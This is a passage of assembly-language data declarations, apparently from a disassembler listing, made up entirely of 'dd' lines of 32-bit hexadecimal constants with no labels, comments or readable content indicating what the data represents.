		dd 7CC638C0h, 45EF98Dh,	0B74E0FEh, 1828B232h, 0A131050Dh
		dd 441C9818h, 900023CDh, 96741198h, 4CF62078h, 0B92E4AEh
		dd 8CF3E800h, 0AACABD80h, 280D7D3h, 2D63972h, 15620D0Fh
		dd 0CE0064DAh, 0BF9F1A04h, 0BADEC5B6h, 0BB4826C4h, 9DA400D2h
		dd 33B1A05Eh, 8E72150Ch, 1EFA1F3h, 683F0248h, 2A9C313Dh
		dd 30800C22h, 0FD24A0F8h, 8A16E1E3h, 0D5B358A8h, 3F8B66F0h
		dd 36954907h, 8E63A8h, 4E37F8D1h, 291FE32h, 467B6244h
		dd 0C6AB275h, 0C434837Fh, 0E06482E1h, 22F418F4h, 0F7110158h
		dd 440BE888h, 4462C90h,	0C9840900h, 7A20B778h, 0CA5201EDh
		dd 740BE6ECh, 8151033Ah, 22F3CEA2h, 4700F5B1h, 5EAD83D4h
		dd 310312Bh, 0D01150ABh, 0A0F54466h, 56096290h,	10A482AFh
		dd 8F59A4h, 0A68B6507h,	4B7B477Ch, 32451C0Fh, 4E94B46Bh
		dd 0A0E50840h, 75C7ECE7h, 0E2424F4Fh, 3222C0h, 0C91C8A2Bh
		dd 31E0F1F4h, 0CF4D5609h, 0FA8C00CAh, 0B53593FDh, 3D0248C4h
		dd 0F794418Bh, 0BA0F185h, 0B8101D6Ch, 0D500A983h, 0F0281CFDh
		dd 64018260h, 8C9411D3h, 8C0010ACh, 846FB083h, 916F0C5h
		dd 0AE8160CAh, 1D970CF4h, 510F2CE2h, 703A82EAh,	0F140885Ch
		dd 0A75E22h, 0BD42D608h, 18979456h, 0EA153F04h,	6897A0A6h
		dd 0E640CBE4h, 0DCDF0183h, 69EE3812h, 0DE47FC02h, 4A10C477h
		dd 827040E8h, 0B446DA74h, 5D29D512h, 0DC3888h, 1AA492ABh
		dd 5B639D85h, 4603F100h, 0A069714Ah, 58E760C8h,	0CDC1F76Dh
		dd 1C509097h, 592B0061h, 0ECB2442h, 0C0098985h,	0BADD844h
		dd 8D0D88Fh, 1CE8D9C4h,	60C01D9Dh, 9AC672D7h, 0E9F80934h
		dd 5CF873DDh, 931B9206h, 0E0C1E8DAh, 9F60FB3h, 0B8D4F9A3h
		dd 77ED84C0h, 5E0074B5h, 1FD24D5Ch, 0FE63D97Ch,	20315E9Fh
		dd 43CF7184h, 4800207Ah, 1B1F4A73h, 4EA0907h, 9D8B94BFh
		dd 4B5CF8CFh, 93F8A808h, 551C91FCh, 5CE8C4D6h, 0BA720301h
		dd 30A4C76Fh, 0D92460h,	5B798FB8h, 4C466B5Dh, 7F5C1C16h
		dd 0FFCF14B8h, 0E0D0A3A9h, 2CFE6228h, 5EC65100h, 0BC3EE270h
		dd 25790792h, 507AED27h, 8880D29Bh, 7C533112h, 2003B8D2h
		dd 566CEE72h, 0C0E8BB58h, 7A44EDA0h, 478B02D0h,	9542375Bh
		dd 942948F3h, 4E3CD480h, 11E7FCFh, 828D5687h, 0C8C17ADEh
		dd 3908638Bh, 80CF0E35h, 0BED2C979h, 0E6125637h, 0EB1877F2h
		dd 12CC2C11h, 0ACC1864Ah, 8C84ECCh, 50F26Bh, 0F5AF2862h
		dd 0CEE17BBEh, 8E970300h, 60133C06h, 17D24073h,	0E61658A5h
		dd 0C43CC8h, 52A3F682h,	0FE94131Dh, 0B0E2CA28h,	8978103Bh
		dd 0C44B9D45h, 70441DFCh, 931DC4B2h, 48CECDEh, 6D202E4Ah
		dd 0A00950ECh, 407AEAC1h, 1DFC7500h, 3BB83856h,	0EE190010h
		dd 35C944A6h, 6B16A195h, 897601Bh, 0A53810F0h, 0FBF70065h
		dd 0FA1D1E1Ah, 86001741h, 0BF6FA850h, 48166ABEh, 840C991Bh
		dd 0D8D8F012h, 31EDB006h, 0A0E9E250h, 9EE8AF3Ch, 3D5C60E4h
		dd 0F45C82DEh, 88BC967Ch, 0C0783787h, 206EEE1Fh, 0F9C8981Fh
		dd 8E05F680h, 13BD1B62h, 57FB82F7h, 3CF4A2B0h, 733E8723h
		dd 24444876h, 974B38C0h, 0F0BF00D5h, 0A58C59B2h, 9158B117h
		dd 0CB8871ECh, 4010B7D9h, 0F91CFF4Dh, 2C808CE0h, 6917D11Eh
		dd 0B147171Dh, 15840C39h, 9D5BC7D9h, 0D7D110C2h, 8AF60881h
		dd 0E4E9A5EEh, 30A00C4h, 8C1E4F08h, 0A800BE1Bh,	15E30F22h
		dd 3B819BE9h, 1994B336h, 3818A46Eh, 0B0CF38CEh,	3D70D964h
		dd 885FF045h, 0BB00F2F0h, 81BD226h, 0A8ED5h, 3FC7CB2Bh
		dd 5084DC51h, 0EAD0CC64h, 17F888h, 4635A978h, 8440C1FBh
		dd 810075E4h, 0B0C6B7D4h, 4EC7F66Dh, 1ACB604h, 701B0CE9h
		dd 35F1D8FCh, 0F6D4CC3Ah, 0EC803B5Fh, 9530B6h, 0E17D8C6h
		dd 6B84F5DFh, 6CCCD0A8h, 0D783E005h, 0C0C058CBh, 3E4129Dh
		dd 57347E13h, 50F94E0Eh, 0FB93E8D4h, 0DBE26000h, 5567A603h
		dd 8C7A78h, 7028EEF3h, 9FFE3C5Fh, 0CF2A1C13h, 3087D80Bh
		dd 60D461F4h, 51FFF8CBh, 8415F616h, 22C8D91Fh, 342900D5h
		dd 0EFC7D1D4h, 420046B5h, 90038C8Bh, 5A04D64Dh,	432C04A8h
		dd 8CF745FEh, 62B028BEh, 2DD55D00h, 0FEF2EF5Bh,	0B7200C3h
		dd 613464C1h, 0E648C69Eh, 0ABDAC02Ch, 0C07F0Eh,	0EDFD0993h
		dd 661B46CBh, 0A825E34Bh, 516DF009h, 0A4AD0708h, 6AFF701Ch
		dd 63B0802Bh, 4E32B901h, 0E20A6D43h, 0B708D0h, 1F6A472Eh
		dd 7553951h, 66D68B14h,	0CC205FD0h, 38DB8304h, 8C8B4BECh
		dd 345091DCh, 26D42334h, 1DC1D401h, 233B28D7h, 2A0D65Ch
		dd 213FFFC7h, 80BF399Bh, 9CDA9EB8h, 0A89217h, 37633B95h
		dd 0C77A1405h, 0C3A1BB00h, 8251B82Dh, 300A09A9h, 40D804E0h
		dd 3F80F49Eh, 0A81A801Eh, 85A609B3h, 6044DB92h,	0DFC89600h
		dd 0F6BAA45Fh, 7D49E8BCh, 24901Dh, 6AD4EE56h, 20598F6Eh
		dd 2BF0FC02h, 82576FDDh, 80DF8308h, 763EC714h, 3C34A8A0h
		dd 94474C60h, 4125CA87h, 0FA299002h, 866C2E7Dh,	14168FC7h
		dd 83707A66h
		dd 687912h, 0E7987807h,	30165014h, 1492A652h, 104E20F4h
		dd 3F0743CDh, 44A9F01Ch, 0D98F4D30h, 0E6950359h, 68CB8BCCh
		dd 2205B6D1h, 0F5411038h, 0AF1CAD84h, 29AFDC74h, 64207EC4h
		dd 0A010E5h, 0C204663Ah, 687D2A0Fh, 13734B01h, 2B150121h
		dd 0E7D0C22Ah, 0E1C0B8F4h, 5B7533h, 7EC260DAh, 0C08B4440h
		dd 0F62F6404h, 23AF6987h, 8CBDC55Ch, 0F0E223F0h, 0EEFB5100h
		dd 39373E70h, 90410394h, 0D76186C0h, 4425D825h,	15700C0h
		dd 245E6DAAh, 9BEC9AF9h, 9F904600h, 7B35B968h, 43F62DF7h
		dd 2C4004D9h, 0D28598h,	4099A6FEh, 0FC8CA71Bh, 0CC9F2F02h
		dd 0D54B6614h, 5AAA7000h, 0EF299B07h, 2A9E90DAh, 3D0D7244h
		dd 0D9D8D680h, 0C5200099h, 0B313804Ch, 0CC0985B6h, 649D30A9h
		dd 8342F8h, 816BDB1Bh, 0B11A68E6h, 0E7909E0h, 6503EC52h
		dd 9E7CA2A3h, 12AFA4ABh, 4642064Ch, 502258CEh, 886C4AD0h
		dd 91005548h, 50DB3110h, 0B2047Fh, 0ADE3C272h, 6636BEA6h
		dd 2ECA9005h, 0C8445263h, 7F49F03Fh, 0E0030D9h,	1F76E865h
		dd 0C893484Bh, 0BC5AA004h, 8668B02Ch, 85DCA605h, 0DCE4E6A9h
		dd 54B8BFBFh, 0D80F2064h, 40B8D2E6h, 59ABFF57h,	0E88F53CAh
		dd 88CC683Bh, 3205E522h, 0FC81B370h, 0E689F481h, 0AC368515h
		dd 551CC2F8h, 2DD059FBh, 0F5FF8424h, 9CF5302Ch,	74F23E50h
		dd 44F6BF00h, 5E355D9h,	167F785Fh, 0C8B0FAFCh, 0CF72A1C8h
		dd 0C287700h, 0BA55CE20h, 0F76A50E1h, 12A07541h, 35CDD4E8h
		dd 757C3010h, 74001936h, 0B8944981h, 49AD1CF0h,	0CC82060h
		dd 21835B9Fh, 0CF131057h, 0BED0C6E7h, 3DD0F307h, 68128169h
		dd 830C2018h, 5503D1ECh, 583824FDh, 1CA2A4F5h, 0CAA540h
		dd 0D4CFFBF0h, 8566A99Dh, 9CC3603h, 184D8A6h, 0DB0E4558h
		dd 306326B2h, 5B901CCCh, 27E48754h, 48D49897h, 0F8490995h
		dd 9C240367h, 0C0854E37h, 0FE5055ECh, 7CF30E6Fh, 780003DFh
		dd 0C0051404h, 0E6407504h, 14B4658Bh, 0C8774FDDh, 0C498A048h
		dd 29742095h, 0C3A7F4h,	5D99767Bh, 5E903D19h, 0FA169EEEh
		dd 0AC88C677h, 5A0442E2h, 0BFAE834h, 7C01688Ch,	0E0B9428Bh
		dd 511865AEh, 848039D2h, 0D0178902h, 0C4F501Ch,	202FA0C2h
		dd 0C7DE4718h, 0F848C30Ch, 25E69F3h, 0FAB9128Ah, 907FA831h
		dd 3CF87974h, 660C6910h, 1C808FDBh, 0F044649Fh,	0CBE1C4h
		dd 9C2F9E31h, 0A9137823h, 7B768B02h, 625F803Ah,	0F260D892h
		dd 5E057245h, 5DCE353h,	5688F5A4h, 0CF1893C0h, 0C94B003Ah
		dd 0A139EDC6h, 0BD9942h, 876B5ACCh, 0B464B5D0h,	4D8E6000h
		dd 0DE1A96ACh, 31094481h, 0FCC8AB4Fh, 0EB8B0033h, 1C5D3269h
		dd 50B9CD5Ah, 481D44BAh, 2E8FBC42h, 88E03B2Bh, 1027B922h
		dd 0C058423Fh, 94F8D8B0h, 0D0512760h, 789D7040h, 0BB6B00C4h
		dd 37D2C687h, 0C8B509CEh, 0B722AD38h, 0FF442864h, 0ABBE002Fh
		dd 4FB2CFAEh, 8A0967ADh, 78A04675h, 0EC4D5340h,	1C7F2C03h
		dd 2FA82E1Bh, 6600AF8Bh, 67E71079h, 4BE66975h, 7A9030C4h
		dd 820055B8h, 0F119A7Fh, 0B51B74h, 974E8E72h, 61703EE8h
		dd 0F53CB601h, 40A703EDh, 281C7BECh, 4470CA41h,	0AF051009h
		dd 292AF1F5h, 70FE4B2h,	52A14D79h, 0FCE5CAA5h, 581723D9h
		dd 9CEC2E74h, 8FE0215Eh, 0BD43D8B4h, 0FB002C7Ch, 0A77E8AD8h
		dd 0B98CDFFh, 0ECC13F55h, 70C5AC6Ah, 0C1142803h, 2598C0B4h
		dd 0A6F30562h, 1CEAF887h, 0D6C28078h, 5BF1C7F0h, 4F1D7E0Eh
		dd 0BB830256h, 8C98F7A2h, 0A600ECC4h, 4FE8CA60h, 0E8846370h
		dd 415003Eh, 0EE718A9Dh, 99027207h, 0B1D83255h,	31688185h
		dd 9C2A7C66h, 6E0005D4h, 1E8F47C4h, 974CDC89h, 0D02D6CECh
		dd 6B70522Bh, 6032B136h, 0FF890D5h, 0E82500E7h,	893517Fh
		dd 0F702B544h, 8E2DD3EAh, 0C37040DAh, 40A606h, 63BB7C2Fh
		dd 8EBF016Ah, 6531D912h, 123F0CF2h, 35195F80h, 0D7E6A066h
		dd 8428E8BCh, 11CD1E21h, 0F4E62E03h, 808EC809h,	0EFCF7C40h
		dd 1B68004Ch, 789ECEB3h, 0B9733802h, 0C475D00h,	169530B2h
		dd 11C931D8h, 0E021DC18h, 9BE4779Ah, 935BAB00h,	1C2429EEh
		dd 0D9DA1394h, 8F30B8BFh, 0FD36A00Fh, 4AB621h, 0F72D2585h
		dd 0DFB04B46h, 409C6000h, 0BE308FB3h, 0AC5F1893h, 0EAC90E72h
		dd 5DC3800h, 0A1AE5B2Dh, 34A7810h, 93297FCBh, 0F88B66DAh
		dd 0C513CE2h, 4CB37C04h, 0CD0BA780h, 0D8C539AFh, 0CCC9D89h
		dd 0E21364D2h, 0FB13DE45h, 0FDF2CF4h, 467C08E1h, 44D48489h
		dd 105CDE7Ah, 66AF8901h, 70292DB8h, 57E490E8h, 0E67BB817h
		dd 2F257CECh, 14007CF1h, 0F17F2516h, 0CD48001Fh, 7D6DBB5Ch
		dd 4E013FC0h, 0F6EB9CF2h, 5F2A9758h, 90C2E10h, 38A04282h
		dd 0A5D98F60h, 0C4EE4A25h, 146B0044h, 97452A6h,	0DC00D681h
		dd 3E3DD233h, 2EB149B8h, 17AC31F7h, 4D7470FAh, 56000B91h
		dd 0A4D66532h, 73128D62h, 20D4B8B1h, 0DD11F83Bh, 31172F4Eh
		dd 4C80C852h, 1B170084h, 9B84F5E2h, 0B09D05EEh,	0B76251CCh
		dd 11531C10h, 4000B1FCh, 8F9391F3h, 4CCADE0h, 48CB1FDDh
		dd 0F830FA7Fh, 430199Fh, 0FB56D603h, 0B420BB7Ah, 0C3BDC1h
		dd 0F4F72842h, 758E733Fh, 7A939501h, 0B6F303C9h, 38B497E8h
		dd 0C80E3C6h, 14DA0459h, 3F007AEDh, 0A480311Bh,	0ED15A6ABh
		dd 8CD44Ch, 0D8D97A9Fh,	0E920398Eh, 55A53Dh, 3C17E6D3h
		dd 0B0671C79h, 0E7B324C4h, 27301EB4h, 80437CE4h, 7F035021h
		dd 819E1281h, 0D87E2F4Ah, 0C3016030h, 0EE68D9D4h, 222EFA71h
		dd 0E911E3FCh, 0B2E03106h, 0A84F2FB0h, 840550F0h, 1C7ED41Dh
		dd 0C370583Eh, 0C12F7AF0h, 24249F60h, 4AE4171Ch, 0C5BCBCF8h
		dd 0AFC581F0h, 0E71A3804h, 7A6D4640h, 592EC9C6h, 0F0EB5852h
		dd 3A051F44h, 0E9FD01D4h, 309D3339h, 0DB429C54h, 483EFF4Ch
		dd 0A4F24Fh, 2B6E3407h,	0FCE70Bh, 622C70EBh, 64EC0501h
		dd 10635127h, 0B7A7DD8h, 0A13794Dh, 7400F451h, 3A088754h
		dd 0B1753B52h, 0C8B5BA00h, 95D53ED7h, 4B678007h, 0C9F448FAh
		dd 4BE6095h, 420432F4h,	7F2D15F9h, 0E819AC11h, 400094BEh
		dd 86D4333Ch, 0BC5AF78Bh, 0E86E65E8h, 6D471318h, 6000B0B2h
		dd 4D58E15Ah, 23EC9759h, 0A8001D7Bh, 15084562h,	2DE48F2h
		dd 0CBE66114h, 0F0203360h, 3E0797Eh, 0ACF82437h, 9B084E9h
		dd 0FE5838C1h, 0A30B1D2Ch, 0F33B983Dh, 5B87B79h, 1FDC7A0Ah
		dd 0A2FCC2DDh, 4C835520h, 305B0CEEh, 0DDB9B153h, 8574F5Eh
		dd 0C08DFC22h, 164CE4Bh, 0D6C5FF28h, 0D82AD059h, 0A99D5CE1h
		dd 904C7348h, 98495B83h, 95EC41EDh, 0B320DA02h,	1A174BAh
		dd 9E79AC65h, 28C977FDh, 64E58888h, 0F2F4857h, 149480F7h
		dd 0A62750h, 84C78D96h,	63897853h, 0AE583405h, 4405DF82h
		dd 5005576Fh, 0CCB81A89h, 0E03C6C51h, 96227980h, 0F4010746h
		dd 0C48B3EE5h, 1C40C06Fh, 0AAD8FC85h, 0B6C7C48h, 0FE2E4Bh
		dd 4A359EE1h, 3A92FFCCh, 0DC220A5Bh, 0E5BC8000h, 0A03485FCh
		dd 191B0088h, 38E697E7h, 9F3DCEAFh, 0F3CB07C6h,	14717527h
		dd 55F81A81h, 477A048Ah, 0E4AEF77Fh, 7007311Ch,	34F2F058h
		dd 0BC896364h, 1F167860h, 21A0713h, 0C8F06718h,	51083461h
		dd 29626CACh, 7E2F0060h, 0CD87BEEBh, 8FF2000Ch,	0EEE3096Ah
		dd 32095FBDh, 6DE1B63h,	7879D930h, 744A5C44h, 5A05F4C0h
		dd 0F84C1B62h, 0C04C16F0h, 6C1728E6h, 8C190917h, 3F6BFE00h
		dd 185920ADh, 899E2508h
		dd 4EF004F8h, 2D608CC8h, 30E19236h, 38C0CEB1h, 4F89020Bh
		dd 23BA4054h, 7688E0BCh, 0A6B82DC6h, 18664300h,	8EA6C405h
		dd 62B3FA2Ch, 0E8CD4864h, 17228124h, 48A0B0D0h,	0C84277F4h
		dd 5146909h, 34D41C29h,	0A8B2FC63h, 7D767Ch, 8C0F804h
		dd 354C8C2Fh, 5FA17E58h, 7A40AC5Fh, 0F14BDB9Dh,	0B2510028h
		dd 0D3ABBB14h, 89C77A2h, 8E051A50h, 2A8C5E13h, 24FF9CF0h
		dd 64B88F6Fh, 0B9D32DFh, 40025404h, 0A68BA818h,	0F9E1770h
		dd 856C2304h, 704FDBD1h, 609F90F4h, 5D81900h, 8415D0C5h
		dd 680AAA13h, 3741B406h, 99BAF905h, 0A7A1100Bh,	0CA6BCF9h
		dd 60F22D92h, 42C13D7h,	8064247Bh, 638669Ah, 0CE50D100h
		dd 0E1203B7Ah, 4F249E67h, 9A2412C0h, 0E20219D8h, 774DA9ABh
		dd 22ACC47Ah, 524FCD26h, 73D990C8h, 0F2584B80h,	54B10B40h
		dd 1B9900C9h, 393059A9h, 0B1DEF08Dh, 1FDC22C0h,	796DEEA1h
		dd 90C00050h, 0C4D61C03h, 76108600h, 0AACAC6B1h, 0BB820E50h
		dd 5AC4DD57h, 8812EA30h, 519888h, 41B28FF0h, 0B64AC4D1h
		dd 44D06895h, 11D7D05h,	3D1CD7AAh, 2B3584E4h, 83E0A803h
		dd 8217F0C8h, 0D65706B1h, 18903AF4h, 0EA8BDC01h, 53583963h
		dd 2ED5020h, 672D147Fh,	327588F7h, 834400C4h, 3AFDF093h
		dd 8A061B0Dh, 11F20B82h, 60DA6809h, 0F6C890FEh,	275A7695h
		dd 0C5941EDh, 0A86A8081h, 0E6FC3998h, 89A15042h, 4BB11EB3h
		dd 0B86BCB62h, 0D88B2C90h, 12F99200h, 1730A6D0h, 0F5E50518h
		dd 0A6CCED82h, 989B0060h, 0BB05A672h, 3E22007Fh, 34ACA4D4h
		dd 2DB8FAC2h, 4286F516h, 6FCF6840h, 0E09C3h, 0B8333B6h
		dd 3050F6DAh, 825BB806h, 2811D893h, 0A14AB70h, 7B3D4718h
		dd 0D7F502F8h, 408C9A77h, 59069850h, 12B95C9h, 5F088038h
		dd 4F54847h, 3DCEC8Eh, 0CD44B4C4h, 0BD2BA6E8h, 34EEDF0Fh
		dd 0FFE220EFh, 2C5EA66h, 6D7B465Dh, 887EA830h, 0FB7A6C82h
		dd 0ECD93Bh, 600947BCh,	3601BD87h, 3883393h, 470B441h
		dd 2E609022h, 9011C9h, 0F849E495h, 2A2F9048h, 12284575h
		dd 15DC4591h, 9C60A83Fh, 0C20CEC0h, 5DD8AA4Ch, 0F158D061h
		dd 636B8E0Bh, 0E600D0F1h, 0D13A491Eh, 0F7AB01C0h, 777E4618h
		dd 106360h, 981576CDh, 12DDD57Ch, 0FC5D2E38h, 0B9AB8028h
		dd 0E6F1451h, 37EC7818h, 0BDDB0Eh, 5A6449F8h, 45175FA0h
		dd 0E0D9633Ah, 64DE1C21h, 0DBF94C74h, 8C096D00h, 7271AEA7h
		dd 0B48E5F2Ch, 0F9844ADh, 2F8237A2h, 0AAD43D41h, 17530E7h
		dd 45D8F600h, 0F2978050h, 0F6554AC0h, 0E8CB2280h, 50570006h
		dd 5A5DEE78h, 9D136C4Ch, 40C2349Bh, 6EB0A9E7h, 0A8F65CB4h
		dd 9EAAEC07h, 68898B56h, 0D098C08Bh, 0D75FF0A0h, 243320E0h
		dd 2C34B38Bh, 0DB936220h, 50A450FCh, 26195860h,	0E3E10EEBh
		dd 88196C13h, 88F21C3Ch, 2000932Fh, 0BF9628BCh,	899E57h
		dd 66F76A7h, 0F34539F7h, 5958351Eh, 24E4D012h, 1EB4A607h
		dd 2C562FF0h, 0C76D0514h, 0EF80077h, 0D7DFA066h, 0EDE6EB19h
		dd 466DB30h, 449D0222h,	247BE0h, 0A976668h, 0A9A74EA1h
		dd 950FEE00h, 8C793098h, 253B0010h, 24D9EFECh, 20F16DD0h
		dd 19C112E0h, 1BD6F6CBh, 40B0DEF2h, 0B9243A13h,	0D8E227EEh
		dd 0DD70AB00h, 7D97CD98h, 37C016Dh, 4660292Ch, 0D1982092h
		dd 85F64C0Ch, 24449913h, 8FCB842h, 0A103D831h, 88EFD5CAh
		dd 48E65EAAh, 17055601h, 0EF1D13C1h, 0F1249420h, 9F6502D7h
		dd 81CA55F2h, 0B988187Dh, 30521766h, 97CCE69h, 0E8F94BFEh
		dd 376608h, 2241F6Ah, 0E7E8B8E6h, 0C3BECA00h, 0C886DBD6h
		dd 576F0053h, 3AC79E9Ch, 7D25A728h, 286432h, 0C4B1302h
		dd 44A4CF6Ch, 0EC03411Ch, 6D743B80h, 0C30C6E3h,	418EB88h
		dd 1300CE08h, 0C7D4EA4Eh, 0D23A31E1h, 0C8C486B8h, 230BD894h
		dd 2945ED7h, 625564DBh,	59EC84C0h, 79919800h, 167CC012h
		dd 23E046Eh, 80E12B30h,	0D62EA164h, 66319716h, 864AB831h
		dd 87AA3E5h, 0B280D660h, 0BA7F53EDh, 4878F84Eh,	7524ECD2h
		dd 0E7341DA1h, 13564C90h, 455DD612h, 69A378A8h,	6B330891h
		dd 5125821h, 0DF80503Dh, 1A8F56Ah, 0CB17F300h, 8654B0F4h
		dd 663008C3h, 4F88051Ah, 0AB4508h, 0F590CB60h, 0F84F6EF6h
		dd 0E060C082h, 0AB540h,	0B6A0826Fh, 320BBF75h, 0F13EC703h
		dd 0EC47422h, 9F30E020h, 9CC80F81h, 8BE41h, 2EDBD3D5h
		dd 373B05Bh, 0DF491A3Bh, 21060CBBh, 0B846E0EAh,	0EB150039h
		dd 88A3968Eh, 143CF38Fh, 0D9D400F0h, 0D716E14Fh, 7E9D02F5h
		dd 0FE2E8893h, 5ECFC80h, 2D138AF8h, 8E0FB5D2h, 0F90AE348h
		dd 4DC097ACh, 1998D92h,	0F566D638h, 0BEB547E0h,	593A0071h
		dd 168B8CBAh, 0EDA37949h, 60A9886h, 337729ACh, 610B7000h
		dd 5EA85529h, 8E3D0048h, 17EAD087h, 253B350Eh, 0E33A1D6Dh
		dd 4D376FC5h, 8F8E0805h, 3F9D1406h, 233600F9h, 45A84320h
		dd 7400B14Bh, 0C9CAD896h, 1730AE4h, 931168BCh, 81E682A3h
		dd 0D9DC6688h, 6480EB09h, 398BAF1Fh, 0AC0DDA9Bh, 0B9E42314h
		dd 1652FF0h, 17C2503Ah,	0F0569DA0h, 13011EE3h, 48CB3E1Fh
		dd 89B20D7Ah, 6E00C738h, 0BB4E22h, 13D2B0C5h, 0EAADC410h
		dd 3512B90Eh, 0ED0C211Ah, 3180E222h, 991EC850h,	0EC03BA05h
		dd 638AE448h, 0E52683E1h, 8BB5B041h, 0D740E3C3h, 67DCF4E7h
		dd 80BA8046h, 0FFBDE41Ah, 36BBB60Ch, 0EA3142h, 91784989h
		dd 0FD17954Ah, 8A819E00h, 34BABCCAh, 26AC001Bh,	898E9825h
		dd 10F3C7Fh, 246504h, 449CE6A9h, 0E328C0EFh, 662D53F9h
		dd 50F6F14h, 95E200C4h,	73D52979h, 0C82853B4h, 0D3758A04h
		dd 9EC78022h, 0DA00DE2Bh, 0B2E6E7D5h, 5EE7F59h,	231E56A8h
		dd 0F38040DDh, 0F7734FEDh, 0DB5EFB00h, 3224A366h, 0C0800D2h
		dd 15218FFEh, 0FD00048Bh, 0D0E3D6A5h, 57FB5Eh, 91E91318h
		dd 53DC44ADh, 4AFDBB09h, 6B030007h, 0F5C50Dh, 0B4ADD33Bh
		dd 0BC91B74Dh, 7F19A8A8h, 5DE4AF00h, 0A3074433h, 91E0678Bh
		dd 5821D906h, 0E82973A5h, 2A00437Dh, 0C527A18Ah, 3BC4216Ah
		dd 0A394E93Eh, 618648Fh, 0EC9539BAh, 0B9B7CC07h, 9D7D02Dh
		dd 8E700740h, 0C3C27EA5h, 9182E031h, 193564B8h,	0B1FBE402h
		dd 84DEB9A2h, 4CB4710h,	8F5FEA00h, 47AE5B87h, 0DF5C7100h
		dd 0E00BBBB3h, 0C0D3243h, 0DE203F31h, 14D248h, 0A2223417h
		dd 4BBCFFCFh, 0A51B7600h, 0EEA63F6Ah, 13EA38B8h, 0C05A4D80h
		dd 0E071EF28h, 81CC4530h, 0A1E7B8A2h, 3436324Ch, 0E87D62Eh
		dd 845566C0h, 9D00BB22h, 88513B3Ah, 7E8E589Eh, 0E6930F0Eh
		dd 18BE75EBh, 1FBB29B3h, 0A6B10B6Eh, 78187FBCh,	68B70310h
		dd 461EBBB4h, 6B39210Ah, 341D1CB2h, 0AF5A0022h,	0E30E9C88h
		dd 0F400C093h, 1184829Dh, 1F8C4939h, 0C2980FCCh, 0BD8E10DEh
		dd 0EA8DB220h, 16A7279h, 16144DEEh, 2317A264h, 843B0050h
		dd 0C98CED5Bh, 0EF38076Eh, 4027A944h, 0DB899664h, 0B537032Eh
		dd 2ED23001h, 0A181C854h, 0E4C586C9h, 0E630201Eh, 0F8AF88h
		dd 918EA012h, 0F7AE44DBh, 0ED5DE500h, 11408087h, 2634006Dh
		dd 0F397308Fh, 1FF4A067h, 424C4098h, 35DA00D0h,	46F6F184h
		dd 9C190088h, 0C20D6E74h, 1C008B91h, 5E25345Fh,	4F68FC8h
		dd 390E78EFh, 0BBC4C861h, 0A8403D29h, 1586314h,	45177DB0h
		dd 9050A591h, 0F53F7EDh, 0DB4139B8h, 4CD68440h,	0A3002402h
		dd 347748EFh, 0AFFEE99h
		dd 712214E2h, 2A048108h, 41DEC7A3h, 809E917Ch, 1B796659h
		dd 31802Bh, 7F169F7Bh, 0CABF10AEh, 0E3C20C3h, 3488D4CBh
		dd 6E090DCh, 0BE72C7BCh, 6300886h, 697EB9B9h, 0D93E0010h
		dd 6A772479h, 38002E13h, 0D501D172h, 0C0477F4Eh, 5EF3F6F1h
		dd 7E00C336h, 5B8C5234h, 37FB49DFh, 7051C656h, 88C8BB84h
		dd 210BA505h, 8047C46h,	5898AFF3h, 31AE2C12h, 13CA1279h
		dd 0B7C448C4h, 1CC51B80h, 5C07B26h, 40A9B83Eh, 16B8410Eh
		dd 0ED203D23h, 0B474408Bh, 473BB008h, 0D868AC7Ch, 229CF614h
		dd 24B90FA8h, 0D644675Bh, 9296C0FBh, 0F87E129Eh, 0A2B68302h
		dd 41A152D8h, 8015E560h, 98CE7B94h, 0FF1E0907h,	0DFC387D4h
		dd 4E37B8CBh, 11C064EBh, 0B2274020h, 249864A1h,	0FBFFC17h
		dd 51984C35h, 0B809866Ch, 0FE3FBC1h, 9CB70AAFh,	0A9A2918Ch
		dd 1E61007Ch, 5A33EAB6h, 580934AEh, 80C68E21h, 8C953106h
		dd 39C4634Eh, 0DC987547h, 0DB38D9ABh, 70C6ACE3h, 248E1B01h
		dd 20249E0Bh, 3A950C2Eh, 8139C58Dh, 368A4D05h, 0E00814E7h
		dd 0C61000CBh, 48AFF463h, 0AE906500h, 672344F9h, 0CBE6A170h
		dd 0A10F7AC8h, 9C11AAD4h, 0A2E8503Ah, 7D00D7CBh, 9A5E34CCh
		dd 38BE4883h, 3E97BDF5h, 0B8400240h, 0C5200C3Dh, 5CEC2630h
		dd 341428C4h, 1A80944Eh, 94816FF7h, 1FFCC098h, 1202DDE2h
		dd 0E03171EAh, 8846AEh,	407E608Ch, 0EC2A411Fh, 0BA1830E8h
		dd 0C021B87Dh, 0A1DD007Bh, 0B207E3A0h, 39093D64h, 902310ADh
		dd 5C3202Ch, 0DFA6727Ch, 0BA33815Eh, 1754223Ch,	10084413h
		dd 62398541h, 0BCA440C9h, 4608C2EDh, 21C07B7Fh,	3AC5288Dh
		dd 2ECB1CD6h, 49AF80DAh, 0A8E09790h, 8E39BC13h,	67C0C427h
		dd 17419E85h, 64EAF8h, 9366F1B0h, 1C918137h, 0D3207390h
		dd 0AC641F00h, 0A666FCD9h, 90309137h, 3AF9658Eh, 9D1BB4C0h
		dd 0FE448845h, 0D3FEDFECh, 0EBDCB00Bh, 95EC1871h, 807601A0h
		dd 348705AEh, 296C20B3h, 18CC3553h, 38B9B606h, 0A5A6004Bh
		dd 0BFD7EDEEh, 0D80066F5h, 6706ACDBh, 0CE5D6E9h, 0B9B22FC2h
		dd 5650E861h, 901E0E24h, 8424C113h, 48AD6888h, 401D1F48h
		dd 0BB3A0DF2h, 7F185431h, 0EBC834A7h, 0EC8E4816h, 9CA23280h
		dd 0AF207A6Ah, 17CF7FFEh, 7255CE8h, 105A685Ch, 6A81152Dh
		dd 35149877h, 2238C4E9h, 0DC3B00A7h, 965109EAh,	5E00BFAEh
		dd 4ADE6668h, 0E0364F10h, 198F0FAh, 0C4644D1Fh,	222B8BD9h
		dd 20BB12A8h, 0F0082094h, 152881C6h, 87B106EAh,	2D42BC11h
		dd 90E4490h, 167F1CA7h,	4A155C62h, 24C50F1h, 0D3C6AEC9h
		dd 0E4A08C4Eh, 200D5082h, 7152E526h, 0B999A800h, 650C9233h
		dd 889C988Dh, 8671FAFCh, 0A1B0DA00h, 0C67A10D6h, 0A41558CDh
		dd 0EFA5870Ah, 0C348050h, 0E73839ABh, 29626401h, 0DAB68F1Fh
		dd 4CC031h, 0A19401AAh,	4597310Ch, 0A57E70A0h, 5F664000h
		dd 21794984h, 0CE8A30BFh, 4CF61338h, 90100933h,	0EC81F50Ch
		dd 9008F9B9h, 3B00D8B9h, 567AB694h, 0D54607DCh,	1757E8A8h
